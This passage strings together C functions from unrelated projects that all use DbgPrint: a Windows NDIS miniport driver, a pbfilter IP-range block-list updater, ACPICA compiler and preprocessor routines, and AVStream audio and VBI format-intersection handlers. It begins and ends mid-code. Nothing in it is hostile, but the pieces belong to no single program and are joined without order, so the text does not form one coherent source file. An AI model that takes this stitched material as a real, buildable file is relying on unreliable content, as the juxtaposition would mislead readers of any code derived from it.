sizeof(DOT11_MAC_ADDRESS) ); miniportAttributes.GeneralAttributes.RecvScaleCapabilities = NULL; miniportAttributes.GeneralAttributes.AccessType = NET_IF_ACCESS_BROADCAST; miniportAttributes.GeneralAttributes.DirectionType = NET_IF_DIRECTION_SENDRECEIVE; miniportAttributes.GeneralAttributes.IfType = IF_TYPE_ETHERNET_CSMACD; miniportAttributes.GeneralAttributes.IfConnectorPresent = TRUE; miniportAttributes.GeneralAttributes.DataBackFillSize = 8; MpQuerySupportedOidsList( &miniportAttributes.GeneralAttributes.SupportedOidList, &miniportAttributes.GeneralAttributes.SupportedOidListLength); ndisStatus = NdisMSetMiniportAttributes( Adapter->AdapterHandle, &miniportAttributes ); if (ndisStatus != NDIS_STATUS_SUCCESS) { DbgPrint("Failed to set general attributes"); } return ndisStatus; }
void SetRanges(const PBRANGES *ranges, int block) { PBIPRANGE *nranges, *oldranges; ULONG ncount, labelsid; KIRQL irq; DbgPrint("pbfilter: > SetRanges\n"); if(ranges && ranges->count > 0) { DbgPrint("pbfilter: found some ranges\n"); ncount = ranges->count; labelsid = ranges->labelsid; DbgPrint("pbfilter: allocating memory from nonpaged pool"); nranges = ExAllocatePoolWithTag(NonPagedPool, ranges->count * sizeof(PBIPRANGE), '02GP'); if (nranges == NULL) { DbgPrint("pbfilter: ERROR: SetRanges() can't allocate nranges memory from NonPagedPool!!"); DbgPrint(" count:[%d], size:[%d]\n", ranges->count, sizeof(PBIPRANGE)); return; } DbgPrint("pbfilter: copying ranges into driver\n"); RtlCopyMemory(nranges, ranges->ranges, ranges->count * sizeof(PBIPRANGE)); DbgPrint("pbfilter: done setting up new ranges\n"); } else { DbgPrint("pbfilter: no ranges specified\n"); ncount = 0; labelsid = 0xFFFFFFFF; nranges = NULL; } DbgPrint("pbfilter: acquiring rangeslock...\n"); KeAcquireSpinLock(&g_internal->rangeslock, &irq); DbgPrint("pbfilter: ...rangeslock acquired\n"); if(block) { DbgPrint("pbfilter: block list\n"); oldranges = g_internal->blockedcount ? g_internal->blockedranges : NULL; g_internal->blockedcount = ncount; g_internal->blockedranges = nranges; g_internal->blockedlabelsid = labelsid; } else { DbgPrint("pbfilter: allow list\n"); oldranges = g_internal->allowedcount ? g_internal->allowedranges : NULL; g_internal->allowedcount = ncount; g_internal->allowedranges = nranges; g_internal->allowedlabelsid = labelsid; } DbgPrint("pbfilter: releasing rangeslock...\n"); KeReleaseSpinLock(&g_internal->rangeslock, irq); DbgPrint("pbfilter: ...rangeslock released\n"); if(oldranges) { DbgPrint("pbfilter: freeing oldranges\n"); ExFreePoolWithTag(oldranges, '02GP'); } DbgPrint("pbfilter: < SetRanges\n"); }
NDIS_STATUS MPInitializeEx( __in NDIS_HANDLE AdapterHandle, __in NDIS_HANDLE MiniportDriverContext, __in PNDIS_MINIPORT_INIT_PARAMETERS MiniportInitParameters ) { PHWT_ADAPTER newAdapter = NULL; NDIS_STATUS ndisStatus; UNREFERENCED_PARAMETER(MiniportDriverContext); DbgPrint("[HWTest]: MPInitializeEx -->\n"); do { ndisStatus = MpAllocateAdapter(AdapterHandle, &newAdapter); if (ndisStatus != NDIS_STATUS_SUCCESS) { DbgPrint("[HWTest]: MpAllocateAdapter return %08x\n", ndisStatus); break; } ndisStatus = NICInitializeAdapter(newAdapter, AdapterHandle); if (ndisStatus != NDIS_STATUS_SUCCESS) { DbgPrint("[HWTest]: NICInitializeAdapter return %08x\n", ndisStatus); ndisStatus = NDIS_STATUS_FAILURE; break; } ndisStatus = MpSetRegistrationAttributes(newAdapter); if (ndisStatus != NDIS_STATUS_SUCCESS) { DbgPrint("[HWTest]: MpSetRegistrationAttributes return %08x\n", ndisStatus); break; } ndisStatus = MpSetMiniportAttributes(newAdapter); if (ndisStatus != NDIS_STATUS_SUCCESS) { DbgPrint("[HWTest]: MpSetMiniportAttributes return %08x\n", ndisStatus); break; } ndisStatus = VNicAllocateNdisPort(AdapterHandle, &newAdapter->PortNumber); if (ndisStatus != NDIS_STATUS_SUCCESS) { DbgPrint("[HWTest]: VNicAllocateNdisPort return %08x\n", ndisStatus); break; } } while (FALSE); if (ndisStatus != NDIS_STATUS_SUCCESS) { if (newAdapter != NULL) { VNicFreeNdisPort(newAdapter); NICCleanAdapter(newAdapter); MpFreeAdapter(newAdapter); NdisWriteErrorLogEntry(AdapterHandle, NDIS_ERROR_CODE_HARDWARE_FAILURE, 0); } } else { NICAttachAdapter(newAdapter); NICRegisterDevice(); } DbgPrint("[HWTest]: MPInitializeEx return %08x\n", ndisStatus); return ndisStatus; }
ACPI_PARSE_OBJECT * TrCreateNode ( UINT32 ParseOpcode, UINT32 NumChildren, ...) { ACPI_PARSE_OBJECT *Op; ACPI_PARSE_OBJECT *Child; ACPI_PARSE_OBJECT *PrevChild; va_list ap; UINT32 i; BOOLEAN FirstChild; va_start (ap, NumChildren); /* Allocate one new node */ Op = TrAllocateNode (ParseOpcode); DbgPrint (ASL_PARSE_OUTPUT, "\nCreateNode Ln/Col %u/%u NewParent %p Child %u Op %s ", Op->Asl.LineNumber, Op->Asl.Column, Op, NumChildren, UtGetOpName(ParseOpcode)); /* Some extra debug output based on the parse opcode */ switch (ParseOpcode) { case PARSEOP_DEFINITIONBLOCK: RootNode = Op; DbgPrint (ASL_PARSE_OUTPUT, "DEFINITION_BLOCK (Tree Completed)->"); break; case PARSEOP_OPERATIONREGION: DbgPrint (ASL_PARSE_OUTPUT, "OPREGION->"); break; case PARSEOP_OR: DbgPrint (ASL_PARSE_OUTPUT, "OR->"); break; default: /* Nothing to do for other opcodes */ break; } /* Link the new node to its children */ PrevChild = NULL; FirstChild = TRUE; for (i = 0; i < NumChildren; i++) { /* Get the next child */ Child = va_arg (ap, ACPI_PARSE_OBJECT *); DbgPrint (ASL_PARSE_OUTPUT, "%p, ", Child); /* * If child is NULL, this means that an optional argument * was omitted. We must create a placeholder with a special * opcode (DEFAULT_ARG) so that the code generator will know * that it must emit the correct default for this argument */ if (!Child) { Child = TrAllocateNode (PARSEOP_DEFAULT_ARG); } /* Link first child to parent */ if (FirstChild) { FirstChild = FALSE; Op->Asl.Child = Child; } /* Point all children to parent */ Child->Asl.Parent = Op; /* Link children in a peer list */ if (PrevChild) { PrevChild->Asl.Next = Child; }; /* * This child might be a list, point all nodes in the list * to the same parent */ while (Child->Asl.Next) { Child = Child->Asl.Next; Child->Asl.Parent = Op; } PrevChild = Child; } va_end(ap); DbgPrint (ASL_PARSE_OUTPUT, "\n"); return (Op); }
ACPI_PARSE_OBJECT * TrCreateConstantLeafNode ( UINT32 ParseOpcode) { ACPI_PARSE_OBJECT *Op = NULL; time_t CurrentTime; char *StaticTimeString; char *TimeString; char *Filename; switch (ParseOpcode) { case PARSEOP___LINE__: Op = TrAllocateNode (PARSEOP_INTEGER); Op->Asl.Value.Integer = Op->Asl.LineNumber; break; case PARSEOP___PATH__: Op = TrAllocateNode (PARSEOP_STRING_LITERAL); /* Op.Asl.Filename contains the full pathname to the file */ Op->Asl.Value.String = Op->Asl.Filename; break; case PARSEOP___FILE__: Op = TrAllocateNode (PARSEOP_STRING_LITERAL); /* Get the simple filename from the full path */ FlSplitInputPathname (Op->Asl.Filename, NULL, &Filename); Op->Asl.Value.String = Filename; break; case PARSEOP___DATE__: Op = TrAllocateNode (PARSEOP_STRING_LITERAL); /* Get a copy of the current time */ CurrentTime = time (NULL); StaticTimeString = ctime (&CurrentTime); TimeString = UtLocalCalloc (strlen (StaticTimeString) + 1); strcpy (TimeString, StaticTimeString); TimeString[strlen(TimeString) -1] = 0; /* Remove trailing newline */ Op->Asl.Value.String = TimeString; break; default: /* This would be an internal error */ return (NULL); } DbgPrint (ASL_PARSE_OUTPUT, "\nCreateConstantLeafNode Ln/Col %u/%u NewNode %p Op %s Value %8.8X%8.8X \n", Op->Asl.LineNumber, Op->Asl.Column, Op, UtGetOpName (ParseOpcode), ACPI_FORMAT_UINT64 (Op->Asl.Value.Integer)); return (Op); }
ACPI_PARSE_OBJECT * TrSetOpIntegerValue ( UINT32 ParseOpcode, ACPI_PARSE_OBJECT *Op) { if (!Op) { return (NULL); } DbgPrint (ASL_PARSE_OUTPUT, "\nUpdateOp: Old - %s, New - %s\n", UtGetOpName (Op->Asl.ParseOpcode), UtGetOpName (ParseOpcode)); /* Assign new opcode and name */ if (Op->Asl.ParseOpcode == PARSEOP_ONES) { switch (ParseOpcode) { case PARSEOP_BYTECONST: Op->Asl.Value.Integer = ACPI_UINT8_MAX; break; case PARSEOP_WORDCONST: Op->Asl.Value.Integer = ACPI_UINT16_MAX; break; case PARSEOP_DWORDCONST: Op->Asl.Value.Integer = ACPI_UINT32_MAX; break; /* Don't need to do the QWORD case */ default: /* Don't care about others */ break; } } Op->Asl.ParseOpcode = (UINT16) ParseOpcode; UtSetParseOpName (Op); /* * For the BYTE, WORD, and DWORD constants, make sure that the integer * that was passed in will actually fit into the data type */ switch (ParseOpcode) { case PARSEOP_BYTECONST: UtCheckIntegerRange (Op, 0x00, ACPI_UINT8_MAX); Op->Asl.Value.Integer &= ACPI_UINT8_MAX; break; case PARSEOP_WORDCONST: UtCheckIntegerRange (Op, 0x00, ACPI_UINT16_MAX); Op->Asl.Value.Integer &= ACPI_UINT16_MAX; break; case PARSEOP_DWORDCONST: UtCheckIntegerRange (Op, 0x00, ACPI_UINT32_MAX); Op->Asl.Value.Integer &= ACPI_UINT32_MAX; break; default: /* Don't care about others, don't need to check QWORD */ break; } /* Converter: if this is a method invocation, turn off capture comments */ if (AcpiGbl_CaptureComments && (ParseOpcode == PARSEOP_METHODCALL)) { Gbl_CommentState.CaptureComments = FALSE; } return (Op); }
static NTSTATUS AudioOutIntersectDataFormat ( IN PVOID pContext, IN PIRP Irp, IN PKSP_PIN PinInstance, IN PKSDATARANGE CallerDataRange, IN PKSDATARANGE DescriptorDataRange, IN ULONG BufferSize, OUT PVOID Data OPTIONAL, OUT PULONG DataSize ) /*++ Routine Description: The intersect handler for the audio capture pin. This is really quite simple because the audio pin only exposes the number of channels, sampling frequency, etc... that the wave file it is synthesizing from contains. Arguments: Filter - Contains a void pointer to the filter structure. Irp - Contains a pointer to the data intersection property request. PinInstance - Contains a pointer to a structure indicating the pin in question. CallerDataRange - Contains a pointer to one of the data ranges supplied by the client in the data intersection request. The format type, subtype and specifier are compatible with the DescriptorDataRange. DescriptorDataRange - Contains a pointer to one of the data ranges from the pin descriptor for the pin in question. The format type, subtype and specifier are compatible with the CallerDataRange. BufferSize - Contains the size in bytes of the buffer pointed to by the Data argument. For size queries, this value will be zero. Data - Optionally contains a pointer to the buffer to contain the data format structure representing the best format in the intersection of the two data ranges. For size queries, this pointer will be NULL. DataSize - Contains a pointer to the location at which to deposit the size of the data format. This information is supplied by the function when the format is actually delivered and in response to size queries. Return Value: STATUS_SUCCESS if there is an intersection and it fits in the supplied buffer, STATUS_BUFFER_OVERFLOW for successful size queries, STATUS_NO_MATCH if the intersection is empty, or STATUS_BUFFER_TOO_SMALL if the supplied buffer is too small. --*/ { PAGED_CODE(); // // Because the only range we expose is such that it will match // KSDATARANGE_AUDIO, it is safe to interpret the data structures as // KSDATARANGE_AUDIO. This is due to the fact that AVStream will have // prematched the GUIDs for us. // PKSDATARANGE_AUDIO CallerAudioRange = reinterpret_cast <PKSDATARANGE_AUDIO> (CallerDataRange); PKSDATARANGE_AUDIO DescriptorAudioRange = reinterpret_cast <PKSDATARANGE_AUDIO> (DescriptorDataRange); UNREFERENCED_PARAMETER(pContext); UNREFERENCED_PARAMETER(PinInstance); UNREFERENCED_PARAMETER(Irp); // // We are returning a KSDATAFORMAT_WAVEFORMATEX. Specify such if a size // query happens. // if (BufferSize == 0) { *DataSize = sizeof (KSDATAFORMAT_WAVEFORMATEX); DbgPrint("SWTANALOG-Capture AudioOut BUFFER_OVERFLOW"); return STATUS_BUFFER_OVERFLOW; } if (BufferSize < sizeof (KSDATAFORMAT_WAVEFORMATEX)) { DbgPrint("SWTANALOG-Capture AudioOut TOO_SMALL 1"); return STATUS_BUFFER_TOO_SMALL; } // // Match the blocks. We only support one format (not really a range), so // this intersection aught to be really simple. It's more of a check // if the format we are going to use intersects somewhere in // CallerAudioRange. // if (DescriptorAudioRange -> MaximumChannels > CallerAudioRange -> MaximumChannels || DescriptorAudioRange -> MinimumBitsPerSample < CallerAudioRange -> MinimumBitsPerSample || DescriptorAudioRange -> MinimumBitsPerSample > CallerAudioRange -> MaximumBitsPerSample || DescriptorAudioRange -> MinimumSampleFrequency < CallerAudioRange -> MinimumSampleFrequency || DescriptorAudioRange -> MinimumSampleFrequency > CallerAudioRange -> MaximumSampleFrequency) { // // If the descriptor's "range" (more of a single format specified // in a range) doesn't intersect the caller's, no match the call. // *DataSize = sizeof (KSDATAFORMAT_WAVEFORMATEX); DbgPrint("SWTANALOG-Capture AudioOut NO_MATCH 1"); return STATUS_NO_MATCH; } // // Build the format. // PKSDATAFORMAT_WAVEFORMATEX WaveFormat = reinterpret_cast <PKSDATAFORMAT_WAVEFORMATEX> (Data); RtlCopyMemory ( &WaveFormat -> DataFormat, &DescriptorAudioRange -> DataRange, sizeof (KSDATAFORMAT) ); WaveFormat -> WaveFormatEx.wFormatTag = WAVE_FORMAT_PCM; WaveFormat -> WaveFormatEx.nChannels = (WORD)DescriptorAudioRange -> MaximumChannels; WaveFormat -> WaveFormatEx.nSamplesPerSec = DescriptorAudioRange -> MaximumSampleFrequency; WaveFormat -> WaveFormatEx.wBitsPerSample = (WORD)DescriptorAudioRange -> MaximumBitsPerSample; WaveFormat -> WaveFormatEx.nBlockAlign = (WaveFormat -> WaveFormatEx.wBitsPerSample / 8) * WaveFormat -> WaveFormatEx.nChannels; WaveFormat -> WaveFormatEx.nAvgBytesPerSec = WaveFormat -> WaveFormatEx.nBlockAlign * WaveFormat -> WaveFormatEx.nSamplesPerSec; WaveFormat -> WaveFormatEx.cbSize = 0; WaveFormat -> DataFormat.SampleSize = WaveFormat -> WaveFormatEx.nBlockAlign; *DataSize = sizeof (KSDATAFORMAT_WAVEFORMATEX); DbgPrint("DescriptorAudioRange -> DataRange formatsize %d", DescriptorAudioRange -> DataRange.FormatSize); DbgPrint("Capture DataSize %d", *DataSize); WaveFormat->DataFormat.FormatSize = *DataSize; DbgPrint("Capture Audio DescriptorAudioRange.formatsize %d", DescriptorAudioRange->DataRange.FormatSize); DbgPrint("Capture Audio DescriptorAudioRange size %d", INT(sizeof(KSDATARANGE_AUDIO))); DbgPrint("Capture Audio EncoderAudioInPinRange.formatsize %d", AnlgCaptureAudioOutPinRange.DataRange.FormatSize); DbgPrint("Capture Audio EncoderAudioInPinRange size %d", INT(sizeof(AnlgCaptureAudioOutPinRange))); DbgPrint("SWTANALOG-Capture AudioOut success"); return STATUS_SUCCESS; }
ACPI_PARSE_OBJECT * TrLinkOpChildren ( ACPI_PARSE_OBJECT *Op, UINT32 NumChildren, ...) { ACPI_PARSE_OBJECT *Child; ACPI_PARSE_OBJECT *PrevChild; va_list ap; UINT32 i; BOOLEAN FirstChild; va_start (ap, NumChildren); TrSetOpEndLineNumber (Op); DbgPrint (ASL_PARSE_OUTPUT, "\nLinkChildren Line [%u to %u] NewParent %p Child %u Op %s ", Op->Asl.LineNumber, Op->Asl.EndLine, Op, NumChildren, UtGetOpName(Op->Asl.ParseOpcode)); switch (Op->Asl.ParseOpcode) { case PARSEOP_ASL_CODE: Gbl_ParseTreeRoot = Op; Op->Asl.ParseOpcode = PARSEOP_DEFAULT_ARG; DbgPrint (ASL_PARSE_OUTPUT, "ASLCODE (Tree Completed)->"); break; case PARSEOP_DEFINITION_BLOCK: DbgPrint (ASL_PARSE_OUTPUT, "DEFINITION_BLOCK (Tree Completed)->"); break; case PARSEOP_OPERATIONREGION: DbgPrint (ASL_PARSE_OUTPUT, "OPREGION->"); break; case PARSEOP_OR: DbgPrint (ASL_PARSE_OUTPUT, "OR->"); break; default: /* Nothing to do for other opcodes */ break; } /* The following is for capturing comments */ if (AcpiGbl_CaptureComments) { /* * If there are "regular comments" detected at this point, * then is an endBlk comment. Categorize it as so and distribute * all regular comments to this parse op. */ if (Gbl_CommentListHead) { Op->Asl.EndBlkComment = Gbl_CommentListHead; CvDbgPrint ("EndBlk Comment for %s: %s", Op->Asl.ParseOpName, Gbl_CommentListHead->Comment); Gbl_CommentListHead = NULL; Gbl_CommentListTail = NULL; } } /* Link the new op to it's children */ PrevChild = NULL; FirstChild = TRUE; for (i = 0; i < NumChildren; i++) { Child = va_arg (ap, ACPI_PARSE_OBJECT *); if ((Child == PrevChild) && (Child != NULL)) { AslError (ASL_WARNING, ASL_MSG_COMPILER_INTERNAL, Child, "Child op list invalid"); va_end(ap); return (Op); } DbgPrint (ASL_PARSE_OUTPUT, "%p, ", Child); /* * If child is NULL, this means that an optional argument * was omitted. We must create a placeholder with a special * opcode (DEFAULT_ARG) so that the code generator will know * that it must emit the correct default for this argument */ if (!Child) { Child = TrAllocateOp (PARSEOP_DEFAULT_ARG); } /* Link first child to parent */ if (FirstChild) { FirstChild = FALSE; Op->Asl.Child = Child; } /* Point all children to parent */ Child->Asl.Parent = Op; /* Link children in a peer list */ if (PrevChild) { PrevChild->Asl.Next = Child; } /* * This child might be a list, point all ops in the list * to the same parent */ while (Child->Asl.Next) { Child = Child->Asl.Next; Child->Asl.Parent = Op; } PrevChild = Child; } va_end(ap); DbgPrint (ASL_PARSE_OUTPUT, "\n\n"); if (AcpiGbl_CaptureComments) { Gbl_CommentState.LatestParseOp = Op; CvDbgPrint ("TrLinkOpChildren=====Set latest parse op to this op.\n"); } return (Op); }
////////////////////////////////////////////////////////////////////////////// // // Description: // This is the intersect handler for comparison of a data range. // of the analog VBI out pin.(Needs no class environment to intersect // the format, because the format that is supported is already // given in the filter descriptor). // // Settings: // A match occurs under three conditions: // (1) if the major format of the range passed matches a pin factory range, // (2) if the sub-format matches, // (3) if the specifier is KSDATAFORMAT_SPECIFIER_VBI. // Since the data range size may be variable, it is not validated beyond // checking that it is at least the size of a data range structure. // (KSDATAFORMAT_SPECIFIER_VBI) // // Remarks: // There is a bug so we always get all formats from the descriptor // even if they do not match with the current video standard detected // in the decoder property (see correct handling in the video classes). // To set up the right format, we ask the decoder for the current format // and if it does not match to the pCallerDataRange, we return // STATUS_NO_MATCH to get called again with the next format from the // descriptor. // If it matches our decoder setting, we write it to the target format // pData. // // Return Value: // STATUS_SUCCESS If a matching range is found and it fits // in the supplied buffer. // STATUS_UNSUCCESSFUL Operation failed, // the function parameters are zero. // STATUS_BUFFER_OVERFLOW For successful size queries. (in that case // the buffer size is zero and has to be set // to the right value before return) // STATUS_BUFFER_TOO_SMALL If the supplied buffer is too small. // STATUS_NO_MATCH (a) if the intersection is empty, or // (b) if no matching range was found // ////////////////////////////////////////////////////////////////////////////// static NTSTATUS AnlgVBIOutIntersectDataFormat ( IN PVOID pvKSFilter, //Pointer to KS filter structure. IN PIRP pIrp, //Pointer to data intersection //property request. IN PKSP_PIN pPinInstance, //Pointer to structure indicating //pin in question. IN PKSDATARANGE pCallerDataRange, //Pointer to the caller data //structure that should be //intersected. IN PKSDATARANGE pDescriptorDataRange, //Pointer to the descriptor data //structure, see AnlgVbiFormats.h. IN ULONG dwBufferSize, //Size in bytes of the target //buffer structure. For size //queries, this value is zero. OUT OPTIONAL PVOID pData, //Pointer to the target data //structure representing the best //format in the intersection. OUT PULONG pdwDataSize //Pointer to size of target data //format structure. ) { PKSFILTER pKSFilter; pKSFilter = (PKSFILTER) pvKSFilter; DbgPrint("AnlgVBIOutIntersectDataFormat"); //invalid parameters? if( !pKSFilter || !pIrp || !pPinInstance || !pCallerDataRange || !pDescriptorDataRange || !pdwDataSize ) { DbgPrint("SWTANALOG-Capture VBIOut UNSUCCESSFUL"); return STATUS_UNSUCCESSFUL; } //set output data size *pdwDataSize = sizeof(KS_DATAFORMAT_VBIINFOHEADER); //check for size only query if( dwBufferSize == 0 ) { //BUGBUG: we have to return "buffer overflow", //because this is what is expected on the other side, //any other return value will cause a wrong handling of //the size parameter DbgPrint("SWTANALOG-Capture VBIOut BUFFER_OVERFLOW"); return STATUS_BUFFER_OVERFLOW; } //check if output buffer size is sufficient if( dwBufferSize < *pdwDataSize ) { DbgPrint("SWTANALOG-Capture VBIOut TOO_SMALL"); return STATUS_BUFFER_TOO_SMALL; } //*** start intersection ***// //check if given datarange GUID matches to VBI const GUID VBIInfoSpecifier = {STATICGUIDOF(KSDATAFORMAT_SPECIFIER_VBI)}; if( !IsEqualGUID(pCallerDataRange->Specifier, VBIInfoSpecifier) || pCallerDataRange->FormatSize != sizeof(KS_DATARANGE_VIDEO_VBI) ) { DbgPrint("SWTANALOG-Capture VBIOut NO_MATCH 1"); return STATUS_NO_MATCH; } PKS_DATARANGE_VIDEO_VBI pCallerVbiDataRange = reinterpret_cast <PKS_DATARANGE_VIDEO_VBI> (pCallerDataRange); PKS_DATARANGE_VIDEO_VBI pDescriptorVbiDataRange = reinterpret_cast <PKS_DATARANGE_VIDEO_VBI> (pDescriptorDataRange); PKS_DATAFORMAT_VBIINFOHEADER pTargetVbiDataRange = reinterpret_cast <PKS_DATAFORMAT_VBIINFOHEADER> (pData); //check if all other important fields match if( (pCallerVbiDataRange->bFixedSizeSamples != pDescriptorVbiDataRange->bFixedSizeSamples) || (pCallerVbiDataRange->bTemporalCompression != pDescriptorVbiDataRange->bTemporalCompression) || (pCallerVbiDataRange->StreamDescriptionFlags != pDescriptorVbiDataRange->StreamDescriptionFlags) || (pCallerVbiDataRange->MemoryAllocationFlags != pDescriptorVbiDataRange->MemoryAllocationFlags) ) { DbgPrint("SWTANALOG-Capture VBIOut NO_MATCH 2"); return STATUS_NO_MATCH; } pTargetVbiDataRange->DataFormat = static_cast <KSDATAFORMAT> (pDescriptorVbiDataRange->DataRange); pTargetVbiDataRange->DataFormat.FormatSize = *pdwDataSize; pTargetVbiDataRange->VBIInfoHeader = pDescriptorVbiDataRange->VBIInfoHeader; DbgPrint("SWTANALOG-Capture VBIOut DataSize %d",*pdwDataSize); DbgPrint("SWTANALOG-Capture VBIOut success"); return STATUS_SUCCESS; }
static void PrDoDirective ( char *DirectiveToken, char **Next) { char *Token = Gbl_MainTokenBuffer; char *Token2 = NULL; char *End; UINT64 Value; ACPI_SIZE TokenOffset; int Directive; ACPI_STATUS Status; if (!DirectiveToken) { goto SyntaxError; } Directive = PrMatchDirective (DirectiveToken); if (Directive == ASL_DIRECTIVE_NOT_FOUND) { PrError (ASL_ERROR, ASL_MSG_UNKNOWN_DIRECTIVE, THIS_TOKEN_OFFSET (DirectiveToken)); DbgPrint (ASL_PARSE_OUTPUT, PR_PREFIX_ID "#%s: Unknown directive\n", Gbl_CurrentLineNumber, DirectiveToken); return; } /* * Emit a line directive into the preprocessor file (.pre) after * every matched directive. This is passed through to the compiler * so that error/warning messages are kept in sync with the * original source file. */ FlPrintFile (ASL_FILE_PREPROCESSOR, "#line %u \"%s\" // #%s\n", Gbl_CurrentLineNumber, Gbl_Files[ASL_FILE_INPUT].Filename, Gbl_DirectiveInfo[Directive].Name); /* * If we are currently ignoring this block and we encounter a #else or * #elif, we must ignore their blocks also if the parent block is also * being ignored. */ if (Gbl_IgnoringThisCodeBlock) { switch (Directive) { case PR_DIRECTIVE_ELSE: case PR_DIRECTIVE_ELIF: if (Gbl_DirectiveStack && Gbl_DirectiveStack->IgnoringThisCodeBlock) { PrDbgPrint ("Ignoring", Gbl_DirectiveInfo[Directive].Name); return; } break; default: break; } } /* * Need to always check for #else, #elif, #endif regardless of * whether we are ignoring the current code block, since these * are conditional code block terminators. */ switch (Directive) { case PR_DIRECTIVE_ELSE: Gbl_IgnoringThisCodeBlock = !(Gbl_IgnoringThisCodeBlock); PrDbgPrint ("Executing", "else block"); return; case PR_DIRECTIVE_ELIF: Gbl_IgnoringThisCodeBlock = !(Gbl_IgnoringThisCodeBlock); Directive = PR_DIRECTIVE_IF; if (Gbl_IgnoringThisCodeBlock == TRUE) { /* Not executing the ELSE part -- all done here */ PrDbgPrint ("Ignoring", "elif block"); return; } /* * After this, we will execute the IF part further below. * First, however, pop off the original #if directive. */ if (ACPI_FAILURE (PrPopDirective ())) { PrError (ASL_ERROR, ASL_MSG_COMPILER_INTERNAL, THIS_TOKEN_OFFSET (DirectiveToken)); } PrDbgPrint ("Executing", "elif block"); break; case PR_DIRECTIVE_ENDIF: PrDbgPrint ("Executing", "endif"); /* Pop the owning #if/#ifdef/#ifndef */ if (ACPI_FAILURE (PrPopDirective ())) { PrError (ASL_ERROR, ASL_MSG_ENDIF_MISMATCH, THIS_TOKEN_OFFSET (DirectiveToken)); } return; default: break; } /* Most directives have at least one argument */ if (Gbl_DirectiveInfo[Directive].ArgCount >= 1) { Token = PrGetNextToken (NULL, PR_TOKEN_SEPARATORS, Next); if (!Token) { goto SyntaxError; } } if (Gbl_DirectiveInfo[Directive].ArgCount >= 2) { Token2 = PrGetNextToken (NULL, PR_TOKEN_SEPARATORS, Next); if (!Token2) { goto SyntaxError; } } /* * At this point, if we are ignoring the current code block, * do not process any more directives (i.e., ignore them also.) * For "if" style directives, open/push a new block anyway. We * must do this to keep track of #endif directives */ if (Gbl_IgnoringThisCodeBlock) { switch (Directive) { case PR_DIRECTIVE_IF: case PR_DIRECTIVE_IFDEF: case PR_DIRECTIVE_IFNDEF: PrPushDirective (Directive, Token); PrDbgPrint ("Ignoring", Gbl_DirectiveInfo[Directive].Name); break; default: break; } return; } /* * Execute the directive */ PrDbgPrint ("Begin execution", Gbl_DirectiveInfo[Directive].Name); switch (Directive) { case PR_DIRECTIVE_IF: TokenOffset = Token - Gbl_MainTokenBuffer; /* Need to expand #define macros in the expression string first */ Status = PrResolveIntegerExpression ( &Gbl_CurrentLineBuffer[TokenOffset-1], &Value); if (ACPI_FAILURE (Status)) { return; } PrPushDirective (Directive, Token); if (!Value) { Gbl_IgnoringThisCodeBlock = TRUE; } DbgPrint (ASL_PARSE_OUTPUT, PR_PREFIX_ID "Resolved #if: %8.8X%8.8X %s\n", Gbl_CurrentLineNumber, ACPI_FORMAT_UINT64 (Value), Gbl_IgnoringThisCodeBlock ? "<Skipping Block>" : "<Executing Block>"); break; case PR_DIRECTIVE_IFDEF: PrPushDirective (Directive, Token); if (!PrMatchDefine (Token)) { Gbl_IgnoringThisCodeBlock = TRUE; } PrDbgPrint ("Evaluated", "ifdef"); break; case PR_DIRECTIVE_IFNDEF: PrPushDirective (Directive, Token); if (PrMatchDefine (Token)) { Gbl_IgnoringThisCodeBlock = TRUE; } PrDbgPrint ("Evaluated", "ifndef"); break; case PR_DIRECTIVE_DEFINE: /* * By definition, if first char after the name is a paren, * this is a function macro. */ TokenOffset = Token - Gbl_MainTokenBuffer + strlen (Token); if (*(&Gbl_CurrentLineBuffer[TokenOffset]) == '(') { #ifndef MACROS_SUPPORTED AcpiOsPrintf ("%s ERROR - line %u: #define macros are not supported yet\n", Gbl_CurrentLineBuffer, Gbl_LogicalLineNumber); exit(1); #else PrAddMacro (Token, Next); #endif } else { /* Use the remainder of the line for the #define */ Token2 = *Next; if (Token2) { while ((*Token2 == ' ') || (*Token2 == '\t')) { Token2++; } End = Token2; while (*End != '\n') { End++; } *End = 0; } else { Token2 = ""; } #if 0 Token2 = PrGetNextToken (NULL, "\n", /*PR_TOKEN_SEPARATORS,*/ Next); if (!Token2) { Token2 = ""; } #endif DbgPrint (ASL_PARSE_OUTPUT, PR_PREFIX_ID "New #define: %s->%s\n", Gbl_LogicalLineNumber, Token, Token2); PrAddDefine (Token, Token2, FALSE); } break; case PR_DIRECTIVE_ERROR: /* Note: No macro expansion */ PrError (ASL_ERROR, ASL_MSG_ERROR_DIRECTIVE, THIS_TOKEN_OFFSET (Token)); Gbl_SourceLine = 0; Gbl_NextError = Gbl_ErrorLog; CmCleanupAndExit (); exit(1); case PR_DIRECTIVE_INCLUDE: Token = PrGetNextToken (NULL, " \"<>", Next); if (!Token) { goto SyntaxError; } DbgPrint (ASL_PARSE_OUTPUT, PR_PREFIX_ID "Start #include file \"%s\"\n", Gbl_CurrentLineNumber, Token, Gbl_CurrentLineNumber); PrDoIncludeFile (Token); break; case PR_DIRECTIVE_INCLUDEBUFFER: Token = PrGetNextToken (NULL, " \"<>", Next); if (!Token) { goto SyntaxError; } Token2 = PrGetNextToken (NULL, PR_TOKEN_SEPARATORS, Next); if (!Token2) { goto SyntaxError; } DbgPrint (ASL_PARSE_OUTPUT, PR_PREFIX_ID "Start #includebuffer input from file \"%s\", buffer name %s\n", Gbl_CurrentLineNumber, Token, Token2); PrDoIncludeBuffer (Token, Token2); break; case PR_DIRECTIVE_LINE: TokenOffset = Token - Gbl_MainTokenBuffer; Status = PrResolveIntegerExpression ( &Gbl_CurrentLineBuffer[TokenOffset-1], &Value); if (ACPI_FAILURE (Status)) { return; } DbgPrint (ASL_PARSE_OUTPUT, PR_PREFIX_ID "User #line invocation %s\n", Gbl_CurrentLineNumber, Token); Gbl_CurrentLineNumber = (UINT32) Value; /* Emit #line into the preprocessor file */ FlPrintFile (ASL_FILE_PREPROCESSOR, "#line %u \"%s\"\n", Gbl_CurrentLineNumber, Gbl_Files[ASL_FILE_INPUT].Filename); break; case PR_DIRECTIVE_PRAGMA: if (!strcmp (Token, "disable")) { Token = PrGetNextToken (NULL, PR_TOKEN_SEPARATORS, Next); if (!Token) { goto SyntaxError; } TokenOffset = Token - Gbl_MainTokenBuffer; AslDisableException (&Gbl_CurrentLineBuffer[TokenOffset]); } else if (!strcmp (Token, "message")) { Token = PrGetNextToken (NULL, PR_TOKEN_SEPARATORS, Next); if (!Token) { goto SyntaxError; } TokenOffset = Token - Gbl_MainTokenBuffer; AcpiOsPrintf ("%s\n", &Gbl_CurrentLineBuffer[TokenOffset]); } else { 